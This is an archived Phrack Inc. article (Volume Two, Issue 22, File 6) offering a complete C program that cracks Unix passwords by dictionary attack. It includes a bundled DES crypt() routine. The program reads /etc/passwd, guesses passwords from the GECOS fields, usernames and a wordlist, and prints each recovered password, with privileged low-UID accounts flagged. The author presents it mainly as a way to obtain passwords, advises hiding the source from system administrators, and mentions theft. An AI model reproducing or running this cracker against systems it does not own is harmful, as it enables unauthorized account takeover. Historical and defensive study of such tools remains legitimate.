home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack1 / phrack22.006 < prev    next >
Encoding:
Text File  |  2003-06-11  |  18.6 KB  |  714 lines
  1.  
  2.                                 ==Phrack Inc.==
  3.  
  4.                       Volume Two, Issue 22, File 6 of 12
  5.  
  6.             ()()()()()()()()()()()()()()()()()()()()()()()()()()()
  7.             ()()                                              ()()
  8.             ()         Yet Another File On Hacking Unix!        ()
  9.             ()         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~        ()
  10.             ()                        By                        ()
  11.             ()                                                  ()
  12.             ()                  >Unknown User<                  ()
  13.             ()      A special "ghost" writer of Phrack Inc.     ()
  14.             ()()                                              ()()
  15.             ()()()()()()()()()()()()()()()()()()()()()()()()()()()
  16.  
  17.  
  18. Greetings from The Unix Front...
  19.  
  20. I am unable to use my real alias since it has now become too well known and
  21. others are able to associate it with my real name.  Let us just say that I have
  22. been around for a long time, and can you say "Code Buster"?  Obsolete now,
  23. nonetheless taught many how to write better ones.
  24.  
  25. The following C code will enable you to ferret out poorly constructed passwords
  26. from /etc/passwd.  What I mean by poor passwords is obvious, these consist of
  27. passwords based on the user's name, and even words found in the dictionary.
  28. The most secure password is one that has been constructed from nonsense words,
  29. odd combinations of one word, with control characters and numbers thrown in.
  30. My program is not able to deal with a decent password, nor did I intend it to.
  31. To write something capable of dealing with a secure password would have been
  32. incredibly complex, and take weeks to run on even the fastest of cpu's.
  33.  
  34. Locate a dictionary file from your nearest Unix system.  This is commonly
  35. located in /usr/dict/words.  These files will vary from 200K to 5 Megabytes.
  36. The more words your dictionary file has in it, the more effective this program
  37. will be.  The program can do a quick scan based on just the identifying name
  38. fields in /etc/passwd or perform a complete scan using the dictionary file.  It
  39. basically compares one /etc/passwd entry to each word in your dictionary file,
  40. until it finds the password, or reaches eof,and begins the scan on the next
  41. password.
  42.  
  43. It will take days to process a large /etc/passwd file.  When you re-direct the
  44. output to a log file, make sure you run some sort of cron daemon that will
  45. extract any decoded passwords, and then nulls the log file.  I can suggest
  46. /bin/nohup for this task since you can log off and the task continues to run.
  47. Otherwise, the log file can grow to be megabytes depending on the actual size
  48. of the /etc/passwd file and your dictionary..This program,while written with
  49. one purpose in mind (obtaining passwords),is also a positive contribution to
  50. Unix System Administrators.
  51.  
  52. I run this on several systems nightly, to protect myself!  Scanning for user
  53. passwords that are easy to hack, and for other insecure conditions ensures that
  54. my own systems will not be breached.  Unix is still not a secure system, and
  55. restoring gigabyte file systems is no fun.
  56.  
  57. I have made the software as portable as possible.  It is known to compile on
  58. all BSD variants, and System V.  I don't suggest that you leave the source
  59. laying around on just any system, most System Administrators are known to be
  60. particularly nosy <smile>.  If you do, for God's sake crypt the damned file.
  61.  
  62. These are hard times we have fallen into.  The thrill of the telephone network
  63. is no more.  Mere experimentation is riskier than ever.  There is little left,
  64. but intellectual challenges in mastering system software and writing
  65. interesting software for most of us.  As we all get older, the risks have grown
  66. less attractive versus the few gains.  Someday when I am able to transfer five
  67. or six million into my account in Zurich, I may chance it.  Until then, may I
  68. take the time to wish you all good luck in your endeavors, and be careful!
  69.  
  70. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  71.  
  72. /* Beginning of Program */
  73.  
  74. include <sys/stdio.h>
  75. include <sys/ctype.h>
  76. include <sys/signal.h>
  77.  
  78. define TRUE 1
  79. define FALSE 0
  80.  
  81. int trace = FALSE;
  82. char *dict = NULL;
  83. char *word = NULL;
  84. char *pwdfile = NULL;
  85. char *startid = NULL;
  86. FILE *pwdf;
  87. FILE *dictf;
  88. FILE *logf;
  89. char nextword[64];
  90. char preread = FALSE;
  91. char pbuf[256];
  92. char id[64];
  93. char pw[64];
  94. char goodpw[64];
  95.  
  96. main(argc,argv)
  97. int argc;
  98. char **argv;
  99. {
  100. char *passwd;
  101. char *salt;
  102. char *s;
  103. char *crypt();
  104. char xpw[64];
  105. char pw2[64];
  106. char dummy[64];
  107. char comments[64];
  108. char shell[64];
  109. char dictword[64];
  110. char gotit;
  111. char important;
  112. extern int optind;
  113. extern char *optarg;
  114. int option;
  115. int cleanup();
  116. int tried;
  117. long time();
  118.  
  119. signal(SIGTERM,cleanup);
  120. signal(SIGQUIT,cleanup);
  121. signal(SIGHUP,cleanup);
  122.  
  123. while ((option = getopt(argc,argv, "d:i:p:tw:")) != EOF)
  124.         switch(option) {
  125.         case 'd':
  126.                 dict = optarg;
  127.                 break;
  128.  
  129.         case 'i':
  130.                 startid = optarg;
  131.                 break;
  132.  
  133.         case 'p':
  134.                 pwdfile = optarg;
  135.                 break;
  136.  
  137.         case 't':
  138.                 ++trace;
  139.                 break;
  140.  
  141.         case 'w':
  142.                 word = optarg;
  143.                 break;
  144.  
  145.         default:
  146.                 help();
  147.         }
  148.  
  149. if (optind < argc)
  150.         help();
  151.  
  152. if (!pwdfile)
  153.         pwdfile = "/etc/passwd";
  154.  
  155. openpw();
  156. if (dict)
  157.         opendict();
  158.  
  159. while(TRUE) {
  160.         if (preread)
  161.                 preread = FALSE;
  162.         else
  163.                 if (!fgets(pbuf,sizeof(pbuf),pwdf))
  164.                         break;
  165.         parse(id,pbuf,':');
  166.         parse(xpw,pbuf,':');
  167.         parse(pw,xpw,',');
  168.         if (*pw && strlen(pw) != 13)
  169.                 continue;
  170.         parse(dummy,pbuf,':');
  171.         important = (atoi(dummy) < 5);
  172.         parse(dummy,pbuf,':');
  173.         parse(comments,pbuf,':');
  174.         gotit = !*pw;
  175.         if (!gotit && *comments) {
  176.                 strcpy(pw2,pw);
  177.                 do {
  178.                         sparse(pw2,comments);
  179.                         if (!*pw2) continue;
  180.                         if (allnum(pw2)) continue;
  181.                         gotit = works(pw2);
  182.                         if (!gotit)
  183.                                 if (hasuc(pw2)) {
  184.                                         lcase(pw2);
  185.                                         gotit = works(pw2);
  186.                                 }
  187.                 } while (!gotit && *comments);
  188.                 if (!gotit)
  189.                         gotit = works(id);
  190.         }
  191.         if (!gotit && dict) {
  192.                 resetdict();
  193.                 tried = 0;
  194.                 do {
  195.                         if (works(nextword)) {
  196.                                 gotit = TRUE;
  197.                                 break;
  198.                         }
  199.                         if (++tried == 100) {
  200.                                 printf("    <%8s> @
  201. %ld\n",nextword,time(NULL));
  202.                                 fflush(stdout);
  203.                                 tried = 0;
  204.                         }
  205.                 } while(readdict());
  206.         }
  207.         if (gotit) {
  208.                 if (*pw)
  209.                         printf("** %8s \t- Password is %s\n",id,goodpw);
  210.                 else {
  211.                         parse(shell,pbuf,':');
  212.                         parse(shell,pbuf,':');
  213.                         shell[strlen(shell)-1] = 0;
  214.                         printf("   %8s \t- Open Login (Shell=%s)\n",id,shell);
  215.                 }
  216.                 if (important)
  217.                         printf("--------------------------------------------
  218. Loo
  219. k!\n");
  220.         }
  221.         else    printf("   %8s \t- Failed\n",id);
  222. }
  223.  
  224. cleanup();
  225. exit(0);
  226.  
  227. }
  228.  
  229.  
  230. help()
  231. {
  232. fprintf(stderr,"Scan by The Unix Front\n");
  233. fprintf(stderr,"usage: scan [-ddict] [-iid] [-ppfile] [-t] [-wword]\n");
  234. exit(1);
  235.  
  236. }
  237.  
  238. cleanup()
  239. {
  240.  
  241. if (logf)
  242.         fclose(logf);
  243.  
  244. }
  245.  
  246.  
  247. openpw()
  248. {
  249. char dummy[256];
  250. char id[256];
  251.  
  252. if (!(pwdf = fopen(pwdfile,"r"))) {
  253.         fprintf("Error opening specified password file: %s\n",pwdfile);
  254.         exit(2);
  255. }
  256. if (startid) {
  257.         while(TRUE) {
  258.                 if (!(fgets(pbuf,sizeof(pbuf),pwdf))) {
  259.                         fprintf(stderr,"Can't skip to id '%s'\n",startid);
  260.                         exit(3);
  261.                 }
  262.                 strcpy(dummy,pbuf);
  263.                 parse(id,dummy,':');
  264.                 if (!strcmp(id,startid)) {
  265.                         preread = TRUE;
  266.                         return;
  267.                 }
  268.         }
  269. }
  270.  
  271. }
  272.  
  273. /* Where's the dictionary file dummy! */
  274.  
  275. opendict()
  276. {
  277.  
  278. if (!(dictf = fopen(dict,"r"))) {
  279.         fprintf("Error opening specified dictionary: %s\n",dict);
  280.         exit(4);
  281. }
  282.  
  283. }
  284.  
  285. resetdict()
  286. {
  287. char *p;
  288.  
  289. rewind(dictf);
  290.  
  291. if (word) {
  292.         while(TRUE) {
  293.                 if (!(fgets(nextword,sizeof(nextword),dictf))) {
  294.                         fprintf(stderr,"Can't start with specified word
  295. '%s'\n",
  296. word);
  297.                         exit(3);
  298.                 }
  299.                 if (*nextword) {
  300.                         p = nextword + strlen(nextword);
  301.                         *--p = 0;
  302.                 }
  303.                 if (!strcmp(word,nextword))
  304.                         return;
  305.         }
  306. }
  307. else    if (!(fgets(nextword,sizeof(nextword),dictf)))
  308.                 fprintf(stderr,"Empty word file: %s\n",dict);
  309.         else    if (*nextword) {
  310.                         p = nextword + strlen(nextword);
  311.                         *--p = 0;
  312.                 }
  313.  
  314. }
  315.  
  316.  
  317. readdict()
  318. {
  319. int sts;
  320. char *p;
  321.  
  322. sts = fgets(nextword,sizeof(nextword),dictf);
  323. if (*nextword) {
  324.         p = nextword + strlen(nextword);
  325.         *--p = 0;
  326. }
  327. return sts;
  328.  
  329. }
  330.  
  331.  
  332.  
  333. works(pwd)
  334. char *pwd;
  335. {
  336. char *s;
  337.  
  338. if (trace)
  339.         printf(">> %8s \t- trying %s\n",id,pwd);
  340. s = crypt(pwd,pw);
  341. if (strcmp(s,pw))
  342.         return FALSE;
  343.  
  344. strcpy(goodpw,pwd);
  345.  
  346. return TRUE;
  347.  
  348. }
  349.  
  350.  
  351.  
  352. parse(s1,s2,t1)
  353. register char *s1;
  354. register char *s2;
  355. char t1;
  356. {
  357. char *t2;
  358.  
  359. t2 = s2;
  360. while (*s2) {
  361.         if (*s2 == t1) {
  362.                 s2++;
  363.                 break;
  364.         }
  365.         *s1++ = *s2++;
  366. }
  367. *s1 = 0;
  368. while (*t2++ = *s2++);
  369.  
  370. }
  371.  
  372. sparse(s1,s2)
  373. register char *s1;
  374. register char *s2;
  375. {
  376. char *t2;
  377.  
  378. t2 = s2;
  379. while (*s2) {
  380.         if (index(" ()[]-/.",*s2)) {
  381.                 s2++;
  382.                 break;
  383.         }
  384.         *s1++ = *s2++;
  385. }
  386. *s1 = 0;
  387. while (*t2++ = *s2++);
  388.  
  389. }
  390.  
  391. hasuc(s)
  392. register char *s;
  393. {
  394.  
  395. while (*s)
  396.         if (isupper(*s++)) return TRUE;
  397.  
  398. return FALSE;
  399.  
  400. }
  401.  
  402. allnum(s)
  403. register char *s;
  404. {
  405.  
  406. while(*s)
  407.         if (!isdigit(*s++)) return FALSE;
  408.  
  409. return TRUE;
  410.  
  411. }
  412.  
  413. lcase(s)
  414. register char *s;
  415. {
  416.  
  417. while(*s) {
  418.         if (isupper(*s))
  419.                 *s = tolower(*s);
  420.         ++s;
  421. }
  422.  
  423. }
  424.  
  425. ifdef HACKED
  426.  
  427. define void int
  428.  
  429. static char IP[] = {
  430.         58,50,42,34,26,18,10, 2,
  431.         60,52,44,36,28,20,12, 4,
  432.         62,54,46,38,30,22,14, 6,
  433.         64,56,48,40,32,24,16, 8,
  434.         57,49,41,33,25,17, 9, 1,
  435.         59,51,43,35,27,19,11, 3,
  436.         61,53,45,37,29,21,13, 5,
  437.         63,55,47,39,31,23,15, 7,
  438. };
  439.  
  440. static char FP[] = {
  441.         40, 8,48,16,56,24,64,32,
  442.         39, 7,47,15,55,23,63,31,
  443.         38, 6,46,14,54,22,62,30,
  444.         37, 5,45,13,53,21,61,29,
  445.         36, 4,44,12,52,20,60,28,
  446.         35, 3,43,11,51,19,59,27,
  447.         34, 2,42,10,50,18,58,26,
  448.         33, 1,41, 9,49,17,57,25,
  449. };
  450.  
  451. static char PC1_C[] = {
  452.         57,49,41,33,25,17, 9,
  453.          1,58,50,42,34,26,18,
  454.         10, 2,59,51,43,35,27,
  455.         19,11, 3,60,52,44,36,
  456. };
  457.  
  458. static char PC1_D[] = {
  459.         63,55,47,39,31,23,15,
  460.          7,62,54,46,38,30,22,
  461.         14, 6,61,53,45,37,29,
  462.         21,13, 5,28,20,12, 4,
  463. };
  464.  
  465. static char shifts[] = { 1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1, };
  466.  
  467. static char PC2_C[] = {
  468.         14,17,11,24, 1, 5,
  469.          3,28,15, 6,21,10,
  470.         23,19,12, 4,26, 8,
  471.         16, 7,27,20,13, 2,
  472. };
  473.  
  474. static char PC2_D[] = {
  475.         41,52,31,37,47,55,
  476.         30,40,51,45,33,48,
  477.         44,49,39,56,34,53,
  478.         46,42,50,36,29,32,
  479. };
  480.  
  481. static char C[28];
  482. static char D[28];
  483. static char KS[16][48];
  484. static char E[48];
  485. static char e2[] = {
  486.         32, 1, 2, 3, 4, 5,
  487.          4, 5, 6, 7, 8, 9,
  488.          8, 9,10,11,12,13,
  489.         12,13,14,15,16,17,
  490.         16,17,18,19,20,21,
  491.         20,21,22,23,24,25,
  492.         24,25,26,27,28,29,
  493.         28,29,30,31,32, 1,
  494. };
  495.  
  496. void
  497. setkey(key)
  498. char    *key;
  499. {
  500.         register int i, j, k;
  501.         int     t;
  502.  
  503.         for(i=0; i < 28; i++) {
  504.                 C[i] = key[PC1_C[i]-1];
  505.                 D[i] = key[PC1_D[i]-1];
  506.         }
  507.  
  508.         for(i=0; i < 16; i++) {
  509.  
  510.  
  511.                 for(k=0; k < shifts[i]; k++) {
  512.                         t = C[0];
  513.                         for(j=0; j < 28-1; j++)
  514.                                 C[j] = C[j+1];
  515.                         C[27] = t;
  516.                         t = D[0];
  517.                         for(j=0; j < 28-1; j++)
  518.                                 D[j] = D[j+1];
  519.                         D[27] = t;
  520.                 }
  521.  
  522.  
  523.                 for(j=0; j < 24; j++) {
  524.                         KS[i][j] = C[PC2_C[j]-1];
  525.                         KS[i][j+24] = D[PC2_D[j]-28-1];
  526.                 }
  527.         }
  528.  
  529.         for(i=0; i < 48; i++)
  530.                 E[i] = e2[i];
  531. }
  532.  
  533. static char S[8][64] = {
  534.         14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7,
  535.          0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8,
  536.          4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0,
  537.         15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13,
  538.  
  539.         15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10,
  540.          3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5,
  541.          0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15,
  542.         13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9,
  543.  
  544.         10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8,
  545.         13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1,
  546.         13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7,
  547.          1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12,
  548.  
  549.          7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15,
  550.         13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9,
  551.         10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4,
  552.          3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14,
  553.  
  554.          2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9,
  555.         14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6,
  556.          4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14,
  557.         11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3,
  558.  
  559.         12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11,
  560.         10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8,
  561.          9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6,
  562.          4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13,
  563.  
  564.          4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1,
  565.         13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6,
  566.          1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2,
  567.          6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12,
  568.  
  569.         13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7,
  570.          1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2,
  571.          7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8,
  572.          2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11,
  573. };
  574.  
  575. static char P[] = {
  576.         16, 7,20,21,
  577.         29,12,28,17,
  578.          1,15,23,26,
  579.          5,18,31,10,
  580.          2, 8,24,14,
  581.         32,27, 3, 9,
  582.         19,13,30, 6,
  583.         22,11, 4,25,
  584. };
  585.  
  586.  
  587. static char L[32], R[32];
  588. static char tempL[32];
  589. static char f[32];
  590. static char preS[48];
  591.  
  592. void
  593. encrypt(block, edflag)
  594. char    *block;
  595. int     edflag;
  596. {
  597.         int     i, ii;
  598.         register int t, j, k;
  599.  
  600.         for(j=0; j < 64; j++)
  601.                 L[j] = block[IP[j]-1];
  602.  
  603.         for(ii=0; ii < 16; ii++) {
  604.  
  605.                 if(edflag)
  606.                         i = 15-ii;
  607.                 else
  608.                         i = ii;
  609.  
  610.                 for(j=0; j < 32; j++)
  611.                         tempL[j] = R[j];
  612.  
  613.                 for(j=0; j < 48; j++)
  614.                         preS[j] = R[E[j]-1] ^ KS[i][j];
  615.  
  616.                 for(j=0; j < 8; j++) {
  617.                         t = 6*j;
  618.                         k = S[j][(preS[t+0]<<5)+
  619.                                 (preS[t+1]<<3)+
  620.                                 (preS[t+2]<<2)+
  621.                                 (preS[t+3]<<1)+
  622.                                 (preS[t+4]<<0)+
  623.                                 (preS[t+5]<<4)];
  624.                         t = 4*j;
  625.                         f[t+0] = (k>>3)&01;
  626.                         f[t+1] = (k>>2)&01;
  627.                         f[t+2] = (k>>1)&01;
  628.                         f[t+3] = (k>>0)&01;
  629.                 }
  630.  
  631.                 for(j=0; j < 32; j++)
  632.                         R[j] = L[j] ^ f[P[j]-1];
  633.  
  634.                 for(j=0; j < 32; j++)
  635.                         L[j] = tempL[j];
  636.         }
  637.  
  638.         for(j=0; j < 32; j++) {
  639.                 t = L[j];
  640.                 L[j] = R[j];
  641.                 R[j] = t;
  642.         }
  643.  
  644.         for(j=0; j < 64; j++)
  645.                 block[j] = L[FP[j]-1];
  646. }
  647.  
  648. char *
  649. crypt(pw, salt)
  650. char    *pw, *salt;
  651. {
  652.         register int i, j, c;
  653.         int     temp;
  654.         static char block[66], iobuf[16];
  655.  
  656.         for(i=0; i < 66; i++)
  657.                 block[i] = 0;
  658.         for(i=0; (c= *pw) && i < 64; pw++) {
  659.                 for(j=0; j < 7; j++, i++)
  660.                         block[i] = (c>>(6-j)) & 01;
  661.                 i++;
  662.         }
  663.  
  664.         setkey(block);
  665.  
  666.         for(i=0; i < 66; i++)
  667.                 block[i] = 0;
  668.  
  669.         for(i=0; i < 2; i++) {
  670.                 c = *salt++;
  671.                 iobuf[i] = c;
  672.                 if(c > 'Z')
  673.                         c -= 6;
  674.                 if(c > '9')
  675.                         c -= 7;
  676.                 c -= '.';
  677.                 for(j=0; j < 6; j++) {
  678.                         if((c>>j) & 01) {
  679.                                 temp = E[6*i+j];
  680.                                 E[6*i+j] = E[6*i+j+24];
  681.                                 E[6*i+j+24] = temp;
  682.                         }
  683.                 }
  684.         }
  685.  
  686.         for(i=0; i < 25; i++)
  687.                 encrypt(block, 0);
  688.  
  689.         for(i=0; i < 11; i++) {
  690.                 c = 0;
  691.                 for(j=0; j < 6; j++) {
  692.                         c <<= 1;
  693.                         c |= block[6*i+j];
  694.                 }
  695.                 c += '.';
  696.                 if(c > '9')
  697.                         c += 7;
  698.                 if(c > 'Z')
  699.                         c += 6;
  700.                 iobuf[i+2] = c;
  701.         }
  702.         iobuf[i+2] = 0;
  703.         if(iobuf[1] == 0)
  704.                 iobuf[1] = iobuf[0];
  705.         return(iobuf);
  706. }
  707.  
  708. endif
  709.  
  710. /* end of program */
  711. _______________________________________________________________________________
  712. =========================================================================
  713.  
  714.